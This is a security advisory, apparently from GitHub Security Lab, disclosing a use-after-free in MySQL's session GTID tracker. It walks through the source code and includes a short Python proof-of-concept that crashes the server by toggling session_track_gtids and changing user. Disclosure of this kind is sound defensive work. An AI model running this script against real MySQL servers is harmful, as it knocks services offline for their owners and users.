Coordinated Disclosure Timeline

Summary

A segfault can be triggered by switching session_track_gtids on and off and then either resetting the session or switching users, resulting in a loss of service.

Product

MySQL

Tested Version

8.0.28, 8.0.33.

Details

use-after-free in rpl_context.h (GHSL-2023-116)

MySQL is vulnerable to Denial of Service (DoS) attacks when attackers are able to trigger an use-after-free (UAF) condition. In order to do so, attackers need to get MySQL into a state where m_listener is a dangling pointer when Session_consistency_gtids_ctx::notify_ctx_change_listener() is called.

  inline void notify_ctx_change_listener() {
    m_listener->notify_session_gtids_ctx_change();
  }

This is triggered by first setting the session_track_gtids session variable to either ALL or OWN_GTID, which causes the session’s Session_gtid_tracker object to set m_enabled to true and then register itself as m_listener.

  m_enabled = thd->variables.session_track_gtids != SESSION_TRACK_GTIDS_OFF &&
              /* No need to track GTIDs for system threads. */
              thd->system_thread == NON_SYSTEM_THREAD;
  if (m_enabled) {
    // register to listen to gtids context state changes
    thd->rpl_thd_ctx.session_gtids_ctx().register_ctx_change_listener(this,
                                                                      thd);

Then, session_track_gtids must be set to OFF again, which causes m_enabled to be set to false again.

The connection must then be reset, either by sending a COM_RESET_CONNECTION or a COM_CHANGE_USER. Both of these result in a call to THD::cleanup_connection(), which eventually destroys the Session_gtid_tracker object:

THD::cleanup_connection()
 THD::cleanup()
   Session_tracker::deinit()
     Session_gtid_tracker::~Session_gtid_tracker()

Session_gtid_tracker::~Session_gtid_tracker() only unregisters itself as m_listener if m_enabled is true, which isn’t the case as of the previous step. This leaves m_listener as a dangling pointer.

  ~Session_gtids_tracker() override {
    /*
     Unregister the listener if the tracker is being freed. This is needed
     since this may happen after a change user command.
     */
    if (m_enabled && current_thd)
      current_thd->rpl_thd_ctx.session_gtids_ctx()
          .unregister_ctx_change_listener(this);
    if (m_encoder) delete m_encoder;
  }

session_track_gtids must then be set to ALL or OWN_GTID again, which results in a new Session_gtid_tracker trying to register itself as m_listener, which fails because m_listener is not nullptr.

Any committed write transaction will then generate a GTID, which will trigger a call to Session_consistency_gtids_ctx::notify_ctx_change_listener(), which will dereference the dangling pointer and most likely segfault.

This can be reproduced with the following Python script (gtid_mode must be set to ON or ON_PERMISSIVE).

#!/usr/bin/env python3
import mysql.connector

cnx = mysql.connector.MySQLConnection(
    port=3308,
    user='test_user_1',
    password='test',
    database='test',
    connection_timeout=99999,
)
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("SET session_track_gtids = 'OFF'"))
print(cnx.cmd_change_user(
    username='test_user_2',
    password='test',
    database='test',
))
print(cnx.cmd_query("SET session_track_gtids = 'OWN_GTID'"))
print(cnx.cmd_query("INSERT INTO test VALUES ()"))
print(cnx.cmd_query("COMMIT"))

In order to trigger the crash, the following conditions must be met:

Impact

This issue may lead to Denial of Service (DoS).

Resources

MySQL issue

CVE

Credit

This issue was discovered and reported by GitHub team member @owbone (Oliver Bone).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-116 in any communication regarding this issue.